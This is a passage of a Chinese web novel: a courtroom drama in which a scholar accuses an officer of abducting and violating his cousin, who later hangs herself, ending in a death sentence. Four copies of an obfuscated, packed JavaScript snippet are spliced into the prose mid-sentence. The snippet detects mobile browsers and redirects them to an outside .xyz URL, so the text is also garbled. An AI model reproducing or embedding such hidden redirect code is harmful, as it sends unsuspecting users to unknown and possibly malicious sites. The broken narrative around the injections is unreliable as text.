听到外面的百姓声音越来越大，钱都统轻轻咳嗽一声，提醒苏青林继续往下审。 “肃静！” 苏青林立刻接到钱都统的信号，拿起惊堂木重重地拍一下说： “周仲，你说是东平县校尉傅延庆侮辱你表妹，你可有证据？” “若是没有证据，胡乱告一位朝廷命官，至少也要挨二十板子！” 周仲冲着苏青林微微一礼，低着头不让别人看到他眼中的泪光，缓缓地说： “在傅延庆所住房间之内，北墙上挂着一把浅红色剑鞘的宝剑，东边靠近门口的地方，放着一具鱼鳞锁子甲……” 众人不知道周仲这话是什么意思，只是互相看着，静静地等着他揭晓谜底。 把傅延庆房间内的陈设叙说一遍后，周仲深吸一口气说： “卫军所在乃军营，寻常百姓根本进不去，我表妹这种弱女子更不可能进去。” “她却能把傅延庆房间内的陈设说得一清二楚，这正是傅延庆凌辱我表妹的铁证！” 外面围观的杨云等人和百姓们纷纷点头，周仲这话说得非常符合情理。 卫军校尉是朝廷六品武将，一般兵丁都进不了他的房间，何况一个缝补浆洗的女子？ 苏青林听完周仲的讲述，思索片刻后，眼中露出赞同之色，平静地说： “如此说来，这个傅校尉有很大嫌疑。钱都统，你觉得呢？” 想要抓傅延庆，光有平源府的飞签火票不够，还得有钱都统的手令才行。 不然几个衙役去闯数千人的军营，还要逮捕他们的领兵校尉，能抓回来见鬼了。 钱都统正在心中暗骂傅延庆，玩女人就玩女人，玩完以后处理得却这么不小心，还让人家抓到把柄，告到府里！ 突然听到苏知府说傅延庆很有嫌疑，钱都统不假思索地反驳说： “荒谬！光凭一个书生的一面之词，要抓捕一位立下赫赫战功的将领，简直是滑天下之大稽！” 第171章 证据 第一百七十一章证据 钱都统知道，方才周仲的话是真的，他去过傅延庆的驻地，房间确实和周仲描述的一样。 正因为这样，钱都统更不能让苏知府把傅延庆抓回来问话！ 如果傅延庆扛不住压力，当堂承认凌辱**的事，那他也得背上一个治军不严的罪名！ 官衔未必会降，但日后想要再进一步是肯定不可能，钱都统当然不许这种事发生！ 听到钱都统的大声斥责，早有准备的周仲，毫不犹豫地抬起头，跟他对视， “一面之词？哪有这么详实，确凿的一面之词？都统大人反应如此激烈，难道是想包庇部下？又或，你身上也有这种事，怕傅延庆把你咬出来？” 上堂之前，杨云提醒周仲，要防着钱都统反对，现下看来，杨云的话确实没错。 眼见周仲竟把矛头对准他，钱都统怒极反笑，看着周仲不屑地说： “本将一向行得正坐得端，又怎么会跟这样的龌龊事有关联，也不可能包庇部下！” 周仲嘴角露出一丝狡黠的笑意，步步紧逼地说： “既然都统大人与此事无关，那把傅延庆找来，与我当堂对质！” 从刚才直面钱都统开始，周仲是在逼他，逼他不得不把傅延庆找来对峙。 否则让他背上同谋和包庇这两条罪名，到时不光傅延庆保不住，钱都统都要倒霉。 钱都统见周仲让他把傅延庆叫来，立刻意识到刚才中他的言语陷阱。 钱都统的反应也很快，略微沉吟之后说: “谁知道你是不是从别人那里，听到过傅校尉房间的陈设，才如此了解？” “就算你对傅校尉的房间陈设十分了解，那又如何？难道我了解某一个人房间的布局，是对他心怀恶意？” 府衙外听审的百姓，忍不住点头，了解房间布局没有太大说服力，毕竟谁没去过朋友家。 杨云眉头微皱，周仲说的这个证据确实无力，被钱都统反驳也很正常。 见到杨云的表情不悦，魏承业小声地问： “杨兄，要不要我们几人共同喊上几句，为周兄壮壮声势？” 十几个秀才一起在府衙门口喊冤，这不是什么小事，即便是钱都统也扛不住。 杨云想了下，微微摇头，示意魏承业别冲动。 集体喊冤属于迫不得已的下下策，现下周仲身上还有底牌，暂时还用不着把事搞僵。 公堂上的周仲，眼中闪过一丝愤怒，瞪着钱都统问道： “那都统以为，要什么证据才能证明，傅延庆与本案有千丝万缕的关系？” 钱都统以为周仲被他逼得无话可说，稍微挪动身子，换个舒服点的姿势后说： “至少要有个人证，或物证，不然只有你的一面之词，本官实在是很难相信。” 在钱都统看来，傅延庆平日里做事还算周密，应该没有什么把柄留下。 但钱都统不知道，周仲等的正是他这句话。 众目睽睽之下，周仲从怀里拿出一张纸，上面有几个黑乎乎的大圆点，也不知道是什么。 周仲走到苏青林面前，把那张纸交给苏青林，眼神却看着钱都统说： “知府大人，都统大人，这是我从表妹尸身上拓印下来的凶徒指印，如此证物，能不能请那位傅校尉到公堂比对一下？” 既然钱都统说证言不足为信，那我拿出铁证给你看看！ 苏青林接过指印图，仔细看着。 钱都统虽还强装镇定地坐在椅子上，但也不由自主地伸长脖子，去瞄指印图。 周仲的话，可以说是一面之词，但面对实实在在的证据，钱都统也不能颠倒黑白。 拿到指印图的苏青林，仔细看一会，认为这上面的确是某人的指印，转头看向钱都统， “钱大人，既然周秀才拿出来证据，你看不是能把傅校尉请来一趟？” 钱都统飞快地想着应对的办法，嘴硬着说：“随便拿着个破纸片子，说是傅校尉的指印？谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634358|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道是不是你找人随便按的。” 外面旁听得杨云和魏承业等人，对视一眼，不约而同地点点头， “钱都统先是否认证言，而后又不承认证据，难道是有意包庇行凶之人？” “既然钱都统觉得傅校尉是无辜的，那把他叫过来一比，不真相大白吗？” “我看他们是官官相护，说不定钱都统也有类似的癖好！” 前来给周仲摇旗助威的秀才们，早已义愤难耐，纷纷开口，矛头直指钱都统。 见到一群平头百姓，竟敢对他指手画脚的。 钱都统大怒，噌的一声站起来，伸手指着刚才说话的人，言语中带着威胁之意说： “污蔑朝廷命官，难道你们不怕被抓起来，关进大牢？” 听到钱都统这么直白的威胁，秀才们忍不住笑出声，不仅没有退缩，反而更加大胆， “都统大人，读书人的风骨，不是你几句话能压弯的！” “大人，你如此气急败坏，难道是被我们说中心思？” 秀才们有功名在身，根本不怕被抓，何况只是说几句公道话，钱都统也没理由抓他们！ 看到秀才们有恃无恐的样子，钱都统转头看着苏青林说： “苏知府，这些人咆哮公堂，扰乱审案，难道你这么看着？” 苏青林看一眼刚才说话的人，低声对钱都统说： “钱大人，刚才说话的人都是周仲的同科，也是今年的新秀才，要抓你抓吧。” 这些秀才在本地都有人脉，还有老师，同学，真把他们抓起来，造成的影响，恐怕比周仲的血状案还要大。 钱都统知道这其中的厉害，脸色变几次后，沉声说： “秀才们莫要**，此案苏大人自然会秉公审理，你们只要静观即可。” 见到钱都统退缩，秀才们更加来劲，魏承业高声喊道： “刚才苏大人已经说过，让你把傅校尉叫过来，你要是真的问心无愧，把傅校尉叫来！” 第172章 两手准备 第一百七十二章两手准备 跟着魏承业一起来的秀才纷纷叫嚷，四周的百姓也跟着起哄，弄得钱都统进退维谷。 沉吟半晌，钱都统终于还是顶不住压力，在公堂上当着众人的面说： “身正不怕影子斜，叫来就叫来！但若是查明此事为栽赃，本将定然严惩尔等！” 周仲听到钱都统终于愿意把傅延庆叫来，嘴角露出一丝笑意，冲着钱都统说： “此事是真是假，到时候一问即知。” 苏知府见嫌犯终于能来，心中暗喜，对周仲说： “府城和东平县路途颇远，傅延庆赶来也需时间，三日之后，本府再次重审此案。” “孙通判，你火速给东平县发文，让他们把一应卷宗，证物证人等都带到府城来。” 孙通判起身应是，苏青林拿起惊堂木，重重地拍一下，高声喊道： “退堂！” 钱都统深深看一眼周仲，闷哼一声走到后堂，跟肃清淋到别后，给傅延庆下令。 杨云等人纷纷上来恭喜周仲，只要能把傅延庆抓来，这个案子已等于成功一半。 周仲谢过众人帮忙，请他们喝一顿酒后，跟杨云各自回房休息。 在公堂上吃一肚子气的钱都统，骑马回到军营，立刻把亲兵叫来， “快马去东平县，告诉傅延庆，他的案子发了，收拾干净首尾，三天之内前来见我！” 亲兵俯身称是，骑着快马，去东平县找傅延庆报信。 钱都统在偌大的房间中，踱步几圈，坐下写一封密信，叫来亲兵说： “立刻用信鸽，把这封密信发给侯爷，事关重大，不可能怠慢。” 等两件事都做完，钱都统靠在椅背上，口中喃喃自语地说： “有侯爷压着，这次应该能**关吧……” 杨云等人坐马车要三天时间才能到府城，但对军中快马来说，这段距离只一天时间。 深夜，钱都统的亲兵来到东平县卫军的营盘之外。 守门的两个军士不知道跑到哪里偷懒，亲兵哼一声，翻身下马，径直走进营盘。 整个营盘静悄悄的，连军规中明确规定巡夜的人都没有，直到傅延庆的房间附近，才有起夜的军士发现亲兵，迷迷糊糊地问道： “哪个营的兄弟？大晚上的不睡觉，牵着马瞎溜达什么？” 本来疾驰而来的亲兵，见到东平县卫军，军纪这么松散，心中已有火，听到军士的话终于忍不住，拿马鞭指着他的鼻子破口大骂， “你姥姥的，老子是府城卫军钱都统的亲兵，你们校尉傅延庆在哪？让他滚出来见我！” 按理来说，都统的亲兵职位比傅延庆这种正职校尉低得多，别人也只是看都统的面子，给亲兵一点面子。 但亲兵实在是太生气，把这点差距忘了。 听到是府城来人，起夜的军士立刻吓醒，一边提裤子一边跑着去给傅延庆报信。 等有两三刻钟，浑身酒气的傅延庆才摇摇晃晃地跑出来，衣冠不整地来见亲兵。 “原来是陈校尉！什么风把你给吹来啊？” 傅延庆走近一看，来的亲兵他认识，名叫**仁，立刻嬉皮笑脸地打招呼。 **仁看着傅延庆醉成这个样子，想要骂他，却又不好开口，只能哼一声走进房间。 见到**仁不理他，喝醉的傅延庆还没想明白原因，笑呵呵地说：“陈校尉你来得正好，咱们两个一起喝几杯！” **仁重重地拍一下桌子，低声吼道：“傅延庆，你的事发了你知道吗？知府苏大人已经正式接下你的案子，我这次来，是带你去府城受审的！” 血状案在府城闹得沸沸扬扬，傅延庆却跟个没事人一样，浑然不觉死期将近，真是蠢货！ 傅延庆听到**仁是来带他，去府城受审，脚下一软，通的一声坐倒在地，惊恐地说：“咱们贪军饷的事被朝廷发现？都统大人呢？也被抓起来了？” **仁脸色大变，抓起一杯 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“陈校尉，昨夜真是不好意思，兄弟多喝几杯，还请校尉不要放在心上。” 说着，从身上拿出一百两银票，不着痕迹地放在**仁手中。 以昨夜傅延庆的表现，**仁要是回去如实禀告，钱都统非得把他换掉不可。 无奈之下，只能用钱把**仁的嘴堵住。 **仁看一眼银票，塞进怀里，没好气地说：“幸好来的人是我，要是都统大人亲自前来，你死定了！” 傅延庆知道他这关算是过了，一边招呼亲兵上点吃的，一边问**仁， “深夜前来，不知陈校尉有什么要紧事要和兄弟说？” 等亲兵把早点都端上来，**仁才不紧不慢地把闲杂人等赶出去，小声对傅延庆说： “你的案子发了，都统大人让你把首尾收拾干净，立刻去府城见他。” 第173章 再审 第一百七十三章再审 傅延庆心中一惊，下意识问道：“陈校尉，你说的案子，是哪个？” 这些年傅延庆在东平县犯下不少事，但因为是朝廷命官，一直没出大事。 听到**仁说他案子发了，傅延庆一时间竟有些反应不过来，到底是哪件案子。 正在吃饭的**仁有些无语，强行把心中的怒气压下去，平静地说： “那个被你凌辱三天，回家悬梁自尽的女子。他表哥写血状告到平源府，就算是都统也遮掩不住。” 如果只是周仲一人上告，钱都统从中斡旋一下，或威逼或利诱，也许能把事压下。 可整个平源府人人都在说血状案，钱都统花再大力气也压不下去。 听到是**的案子，傅延庆脸上闪过一丝情分，恨恨地说： “这一家人脑袋里都缺根筋吗？我给刘老头二百两银子，让他不要再告，他非不听！” “这个什么表哥又蹦出来，还把事闹到府城！拿钱过好日子不行吗？” 在傅延庆看来，不管他做下什么恶行，只要事后拿钱能摆平，没想到刘家不吃这套。 看着愤愤不平的傅延庆，**仁无语地撇撇嘴，问道：“这个案子你留下的首尾多吗？赶紧处理，好去府城听审。” “放心，这个案子是知府和都统一起审，只要你一口咬定没做过，谁也不能拿你怎么样。” 知道都统是主审之一，傅延庆的神色放轻松很多，沉思片刻后说： “那晚我喝醉了，但应该没人看到我把那女人掳走，老刘头得再去警告他一番……” **仁和傅延庆在房间里商量半天，终于定下扫清首尾的计划，叫手下士兵换上便装，立刻出营把事办好。 确定首尾收拾干净后，**仁和傅延庆两人四马，直奔府城。 案子开审前一天，傅延庆赶到府城卫军大营，风尘仆仆地来到钱都统面前，单膝跪地说： “校尉傅延庆，见过都统大人！” 坐在圈椅上的钱都统连眼皮都没抬，阴阳怪气地说： “你这个校尉做得真不错，连我这个都统都得伺候你。” 傅延庆听出，钱都统这是在说他给他惹麻烦，羞愧地低头说： “属下无能，连累都统操心，请都统处罚属下！” 虽说钱都统说话阴阳怪气，但傅延庆在来的路上已经想明白，都统还是向着他的。 不然也不会让他收拾干净收尾，几句怪话还是能忍的。 见到傅延庆的态度还算恭敬，钱都统哼一声，问清收拾情况后，眯着眼睛说： “你的指印，为什么会落在哪个周秀才手里？是不是那个女人趁你不注意拓下的？” 周仲既然敢把指印图拿出来，说明指印肯定是傅延庆的。 只是钱都统想不明白，周仲和傅延庆从无交集，他是怎么弄到指印的。 说起这件事，傅延庆也一脸茫然，疑惑地说： “应该不是，那女人被我玩得连床都下不了，不可能拓下我的指印。” 见到傅延庆都不知道，钱都统没有在这个问题上纠结，只是对傅延庆说： “明日上堂，苏青林必然会比对指印，到时候你只要一口咬定，这指印是周仲趁你不注意的时候，悄悄拓下，用来陷害你的即可，剩下的一切有我。” 傅延庆知道钱都统这是要死保他，高兴地点点头，把他的话记在心里。 叮嘱完毕后，钱都统摆摆手让傅延庆下去休息，**仁上前一步，低声说： “都统，我见到傅延庆的时候，他被我一句话吓住了，差点把咱们拿军饷的事说出来，这要是明天上堂，他会不会说漏嘴？” 听到傅延庆这么不中用，钱都统眼中闪过一丝厌恶，沉思片刻后摇摇头说： “有我在，应该不会出多大问题。但你一会儿还是去提醒一句吧。” 虽然傅延庆不中用，却毕竟是他属下，逢年过节孝敬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639569|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得也很周到，该拉一把还是要拉一把。 到再审这天，周仲和杨云及魏承业等人，早早来到府衙之外。 经过初审后，血状案轰动整个平源府，今天来看热闹的人更多，还有人带着孩子一起来。 不多时，一个身形健硕，眼神阴鸷的男人也来到府衙门口，他站在人群中四处张望，似在找什么人。 男人很快看到周仲，眼眸中闪过一丝浓烈的杀意，但最后什么都没做，只是买些吃食，坐在一边慢慢吃起来，等着升堂。 日头渐渐升高，苏青林终于在千呼万唤中坐在大堂之上，惊堂木一拍，府衙内外安静下来，他淡淡地说：“原告周仲，上堂。” 早在旁边等着的周仲立刻走出人群，礼数周全地冲着堂上的四位大人行礼。 见到周仲上堂，苏青林微微颔首，再拍惊堂木，沉声说： “被告东平县卫军校尉，傅延庆上堂！” 围观百姓纷纷伸长脖子张望，这几天他们老是听到这两个人的名字，今天终于见到**。 刚才在外面盯着周仲的男人，正是傅延庆，听到他的名字。 他缓缓起身，不慌不忙地走到公堂之上，冲着两位大人一一行礼，“东平县卫军校尉傅延庆，见过苏知府，钱都统。” 孙通判和郑同知与傅延庆平级，用不着给他们两个行礼。 苏青林看到傅延庆来了，眼神闪烁一下，公事公办地问：“周仲，你是告此人凌辱你的表妹，以致她羞愤至极，悬梁而死？” 周仲虽一直在告傅延庆，但真正见到他本人，还是第一次。 他仔细打量傅延庆的容貌，似要把他的样子记在心里，过好半天后才缓缓点头说： “不错，正是此人害死我表妹，还请知府大人为我表妹主持公道，还她一个清白！” 四周的百姓听好几天傅延庆和周仲的官司，心里早认定傅延庆是凶手，立刻喊道： “请知府大人主持公道！” 第174章 公堂对质 第一百七十四章公堂对质 府衙内外的呼声一浪高过一浪，很多不知道内情的人跟着喊，反正是凑个热闹。 杨云等人脸上露出微笑，有这么多百姓支持他们，想来今天能把傅延庆定罪入狱。 钱都统听到百姓的呼声，脸色立刻沉下来，早知道应该把亲兵带过来，免得这些什么都不懂的平头百姓，搅乱公堂。 苏青林见到这么多人齐声高喊，眼中闪过一丝不悦，重重地拍一下惊堂木，冷冷地说： “再有高声喧哗者，一律按咆哮公堂处置，重打十板！” 听到要挨打，刚才还群情激奋的百姓，立刻偃旗息鼓，安静的针掉在地上都能听见。 见到公堂重新恢复安静，苏青林嘴角微微翘一下，看着傅延庆问道：“周仲说你害死他表妹，傅延庆，你可认罪？” 傅延庆脸上露出委屈之色，无奈地说：“大人，此事纯属诬陷！末将负责东平县军务，与他表妹只见过一面，怎么可能去害她？” 一个六品武官，在东平县算得上大人物，根本用不着去害一个贫家女子。 听到傅延庆把责任推卸得干干净净，周仲猛然转头看向他，眼神中满是怒火， “傅延庆，你信口雌黄！分明是你见色起意，把我表妹掳走凌辱，你竟说没害她？” “我表妹死的时候，身上满是淤青伤痕，你敢说这不是你下的黑手？” 如果不是**死得那么惨，周仲也不会下这么大决心，非要把傅延庆绳之以法不可。 面对周仲声色俱厉的指责，傅延庆似也恼了，口不择言地说： “什么掳走？分明是你表妹在路边招揽客人，我一时心动，与她风流一夜！” “我看她一晚上都没几个客人，还多给她一两银子，没想到你们竟倒打一耙！” 四周的百姓没想到，这个案子还有如此大的转折，忍不住惊呼起来， “那女子竟是个半掩门的暗娼？这下有好戏看了。” “说不定那女的是得急病**，他们家里人想要再讹一笔银子，盯上当官的。” 一时间议论之声四起，百姓们也不再像之前那样，坚定不移地支持周仲。 连魏承业心中也有点打鼓，忍不住小声问杨云，“杨兄，那个校尉说的是真的吗？周兄的表妹当真是做皮肉生意的？” 读书人逛青楼，找的是花魁娘子，谈的是诗词歌赋，玩的是琴棋书画。 纯做皮肉生意的娼姬，他们根本看不上。 杨云回头瞪一眼魏承业，带着几分不快说：“魏兄你难道看不出来，这是那个傅延庆在胡说八道！” “周兄表妹家亲自去过，父女俩人都是老老实实的平民百姓，根本不是什么暗娼！” 魏承业才想起来，还有这种可能，气愤地骂起傅延庆，差点被他骗了。 公堂之上，钱都统的嘴角微微露出一丝笑意，这是昨天**仁和傅延庆想出来的主意。 只要给**安个姬女的名声，百姓必然会对其厌恶，鄙视，到时候再给傅延庆脱罪容易多得，没想到这个小办法，效果这么好，几乎扭转局面。 周仲听到傅延庆这么侮辱表妹，气得浑身颤抖，指着他骂道：“你才是倒打一耙！我表妹是正经姑娘，从来没有做过皮肉生意！” “姓傅的，你睁着眼睛说瞎话，难道不怕老天报应？” 傅延庆见到周仲急了，继续拿娼姬刺激他，只要他敢动手，立刻能把他拿下！ 见到场面越来越乱，苏青林及时地拍一下惊堂木，将公堂上乱哄哄的声音压下。 他厌恶地看一眼傅延庆，冷静地说：“**到底是什么身份，本府自有公断！来人，传东平县差人陈信上堂！” 不多时，杨云看到一个熟悉的衙役走进公堂，拘谨地对着堂上的大人们行礼。 正是之前东平县灭门时，他被误抓进牢认识的衙役，陈信。 苏青林当着府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639570|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衙内外的人，询问陈信的姓名和职位，轻声询问：“陈信，你既然是东平县的衙役，那应该对县中情况有些了解。” “本府问你，本案之中死去的**，可是娼姬？” 陈信是被石知县和李捕头派来送卷宗的，对这个案子非常熟悉，回答说： “回大人，事发之后我等仔细查过，**平日以浆洗缝补衣物为生，没有做过皮肉生意。” 傅延庆听到陈信一个小小的衙役，竟敢反驳他的话，忍不住哼一声说：“小子，你要想好了再回答！” 听见傅延庆如此直白的威胁，苏青林一拍惊堂木，斥责道：“傅延庆，公堂之上，你只是被告，不是卫军校尉！” 傅延庆连忙道歉，却还是狠狠地瞪着陈信，威胁之意溢于言表。 陈信却没有被吓到，老老实实地说：“知府大人，**确实只是普通女子，此事绝无虚假。” 百姓们才知道，傅延庆刚才说的全是假话，忍不住小声骂起来。 魏承业的面色也有些尴尬，幸好杨云没有丝毫责怪他的意思。 苏青林盯着傅延庆，冷冷地问：“傅延庆，**并非娼姬，你是如何与她风流一夜的？是不是用强逼迫？” 眼见他的假话被人戳穿，傅延庆有些慌，连忙说道：“知府大人，我那天可能喝醉了，错把她当成姬女，但我确实没杀她啊！” 周仲见到局势对他越来越有利，冷笑着问道：“没有杀她？那她浑身上下为什么都是你的指印？” 傅延庆想起之前钱都统的叮嘱，眼睛一转嘴硬地说：“什么指印，我从来不知道什么指印！” 看傅延庆眼睛乱转，准备死撑到底的样子，周仲拱手对苏青林说： “大人，请您取出之前生员交给您的证物，是不是傅延庆的指印，一对即知！” 苏青林轻轻点头，立刻有衙役去把证物取来，又拿着印泥，让傅延庆当场按下手印，两张指印图放在一起对比！ 第175章 铁证如山 第一百七十五章铁证如山 衙役仔细比对，甚至连最细微的纹路都不敢放过。 府衙内外所有人都屏气凝神，静静地等着结果。 足足比三遍，衙役才咽一口唾沫，目不斜视地看着苏青林说： “大人，两张指印一模一样，确实出自一人！” 府衙外面的百姓全都欢呼出声，连杨云脸上也露出欣慰的笑意。 证据详实，就算是傅延庆有上司包庇也没用。 周仲转头紧紧盯着傅延庆，眼中带着欣慰快意，报复般地问： “傅延庆！事实证据俱在，你还想狡辩吗？” **身上施暴的指纹是傅延庆留下的，铁证如山，不管他怎么狡辩都是徒劳！ 苏知府见到证据果然对上，心中暗喜，板着一张脸冷冷地问： “傅延庆，你还有什么话要说？” 见到所有人都在逼问他，傅延庆不由得有些慌张，下意识向钱都统看去。 却见钱都统一脸淡然，只是冲他微微点头。 慌张的傅延庆才想起，之前钱都统教给他的办法，故意装出一副茫然愤怒的样子说：“大人，此事与在下无关！我从来没有想过要杀任何人！” 说到这里，傅延庆猛然转身，指着周仲大声吼道：“是你！一定是你找人偷偷拓下我的指印，故意诬陷我！” 周仲冷笑一声，不屑地看傅延庆一眼，转头冲着苏青林躬身行礼说： “知府大人，我表妹分明是傅延庆所害，请大人为她主持公道！” 事情到这个地步，真相已经一目了然，傅延庆只是在垂死挣扎而已。 但一直坐在旁边静观不语的钱都统，忽然咳嗽一声，在众人惊讶的目光中缓缓开口， “苏大人，指纹虽然相同，但正如傅校尉所言，万一是此人诬陷怎么办？” 周仲见到钱都统真的开口，心中不觉得意外，镇定地说： “这些指纹，都是我找仵作，从表妹尸身上的伤痕处拓印下来的，绝对不是诬陷！” 苏青林转头看向陈信。 如果真是东平县衙的仵作所为，他肯定知道。 陈信依旧低着头，没有丝毫犹豫地说：“原告所言不假。” “他们曾向知县大人讨一份开棺验尸的文书，指印是县衙仵作拓印。” 开棺验尸这件事王仵作回县衙禀告过。 当时一众衙役还为周仲的坚韧不拔，感慨一番。 苏青林这次没有着急问话，只是斜着目光看着钱都统。 他知道，钱都统肯定另有说辞。 果不其然，钱都统冷冷地笑一声，带着几分鄙夷说： “尸身上有傅校尉的指纹，一定是他杀的吗？” 听到钱都统这么厚颜无耻的辩解之词，整个公堂的人都愣住。 连苏青林都一脸疑惑，钱都统就算要包庇傅延庆，也不能无视王法啊！ “真是无耻！难道你们是这么官官相护的吗？” “连过场都懒得走？你干脆说姓傅的是无辜的，跟这桩案子一点关系都没有呗！” 公堂外的百姓回过神来，纷纷对钱都统破口大骂。 连杨云也忍不住骂几句，这个钱都统实在是太嚣张。 “再有喧哗者，一律以咆哮公堂论处！” 钱都统见到这么多人骂他，脸上也有些挂不住，站起来吼一句。 黄钟大吕一样的声音传遍府衙内外，公堂上的百姓们纷纷闭嘴。 钱都统才继续说： “按照原告之前所言，**是先消失不见，三天之后，你们才在路边找到她，对不对？” 周仲不知道钱都统问这个干什么，但想到卷宗上是这么写的，他来府城告状的时候，对知府也这么说的，才点头。 钱都统见到周仲点头，满脸上露出一丝淡然的笑意，不紧不慢地说： “那你们找到**的时候，她是死是活？” 周仲虽然没有亲自去救**，但他听姨父不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639571|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止一次说过当时的场景，沉声回道：“表妹当时奄奄一息，浑身上下满是伤痕……” 不等周仲把话说完，钱都统摆手打断他的话，强词夺理地说： “奄奄一息，那是还活着。你们把她救回去后，是什么时候发现她**，是**的？” 杨云已经意识到有些不对，钱都统这些话，好像是在给周仲挖坑！ 只是两人离得太远，杨云没办法提醒周仲，只能急地在原地生闷气。 周仲仔细想一下，没发现钱都统的话有什么问题，悲痛地说：“表妹是回家第二天，悬梁自尽的……如果不是傅延庆这个畜生，我表妹不可能会死！” 钱都统忽然大笑出声，振振有词地说：“你都说了，你表妹是悬梁自尽，跟傅校尉完全没关系！” “就算傅校尉把你表妹掳走，玷污她的清白！但梁自尽是她的选择，又不是傅校尉逼的，你怎么能说傅校尉杀你的表妹？” 周仲想要反驳，一时间却想不到该怎么反驳，张着嘴愣在公堂上。 围观的百姓也有些被钱都统的话说服，自言自语地说：“照这么看，姓傅的确实没**，不应该把**的死算在他头上。” 旁边的人听见，带着几分怒气大声反驳，“怎么不是他杀的？如果不是他把人掳走，**怎么会自尽？” 公堂之外的百姓各执己见，一时间吵得不可开交。 魏承业等人也眉头紧锁，他们都知道**之死与傅延庆脱不了干系，但又觉得，钱都统的话确实有几分道理。 傅延庆大喜，得意扬扬地看着周仲说：“没错。我是玩过她，但我又没玩死她！她回家悬梁自尽，跟我有什么关系？” 周仲见到傅延庆如此嚣张，他又说不过钱都统，气得扑过去要打傅延庆。 衙役见状，连忙上前将周仲拉回来。 钱都统瞟一眼周仲，转身对苏青林淡淡地说： “知府大人，如此看来，**完全是自尽，与旁人无干，请下判吧。” 第176章 判决 第一百七十六章判决 钱都统的一番话，说得府衙内外鸦雀无声，连苏青林都暗暗皱眉。 在众人都不知道该怎么办的时候，杨云忽然开口， “大人，钱都统之言只是以偏概全，巧言令色为傅延庆开脱而已！” 此话一出，钱都统立刻向杨云看过来，不满地说： “你既不是审案之官，又不是涉案之人，高呼乃咆哮公堂，来人，将此人轰出去！” 虽然不知道杨云想说什么，但钱都统已经占据优势，自然要杜绝一切意外。 衙役们没有动手，只是偷偷看着苏青林，没有知府点头，他们肯定不会动手。 苏青林见到有人站出来，眼中闪过一抹喜色，十分大度地劝钱都统， “钱大人，后生小辈既然想说话，那让他说，不然别人还以为咱们没有容人之量。” 说完不等钱都统表态，冲着衙役们下令说： “让刚才说话的人进来，有什么想说的，当着众位大人和全城百姓的面前，说个痛快。” 钱都统冷冷地看他一眼，猜到苏青林跟他不是一条心。 不然以苏青林的身份，完全能把杨云赶出去，结案，不会再生出其他变数。 杨云在衙役的带领下走进公堂，冲着四位大人一一行礼，看着钱都统说： “大人方才之言有失偏颇。**确实是回家第二天才自尽，看起来跟傅校尉没关系。” “但实际上，傅校尉才是**凶手！” “**原本是清白姑娘，名节毁于傅延庆手中，还遭受非人**。” “若不是有此横祸，她怎么会生出轻生的念头？他确实未杀**，**却因他而死！” “正如有人用**毒死别人，难道他能说**的是**，与他无关？” “知府大人，傅延庆身为朝廷命官，凌虐民间女子，其行极为恶劣，不杀不足以平民愤！” 魏承业等人在府衙外面，听到杨云这番慷慨激昂的话，忍不住高声呼喊：“不杀不足以平民愤！” 围观的百姓跟着一起呼喊，一时间整个公堂上都是对傅延庆的喊杀之声！ 先前还得意扬扬的傅延庆，见到这种场面，不由得心乱如麻，下意识看向钱都统说： “都统，您快救我！我不想被抓起来！” 钱都统本来是强词夺理，被杨云戳穿后，也不知道该怎么保傅延庆，只能皱眉说： “苏知府，难道你真要把以为六品武官抓起来？” 不等苏青林说话，杨云立刻开口说： “天子犯法，与庶民同罪，何况一个六品武官！知府大人，你觉得呢？” 杨云之所以抢着说话，是怕苏青林和钱都统暗中有什么交易，先用话把他的退路堵死。 苏青林猜出杨云的小心思，莞尔一笑后，拿起惊堂木重重地拍一下。 府衙内外安静，所有人的目光都集中在苏青林身上，只见他神色严肃地说： “东平县卫军校尉傅延庆，凌虐民女**，致使**不堪受辱，悬梁自尽。” “其心狠毒，其行恶劣，本府判决，傅延庆秋后处斩！来人，将傅延庆收监！” 听到要被秋后处决，傅延庆立刻慌了，冲着钱都统大声喊道： 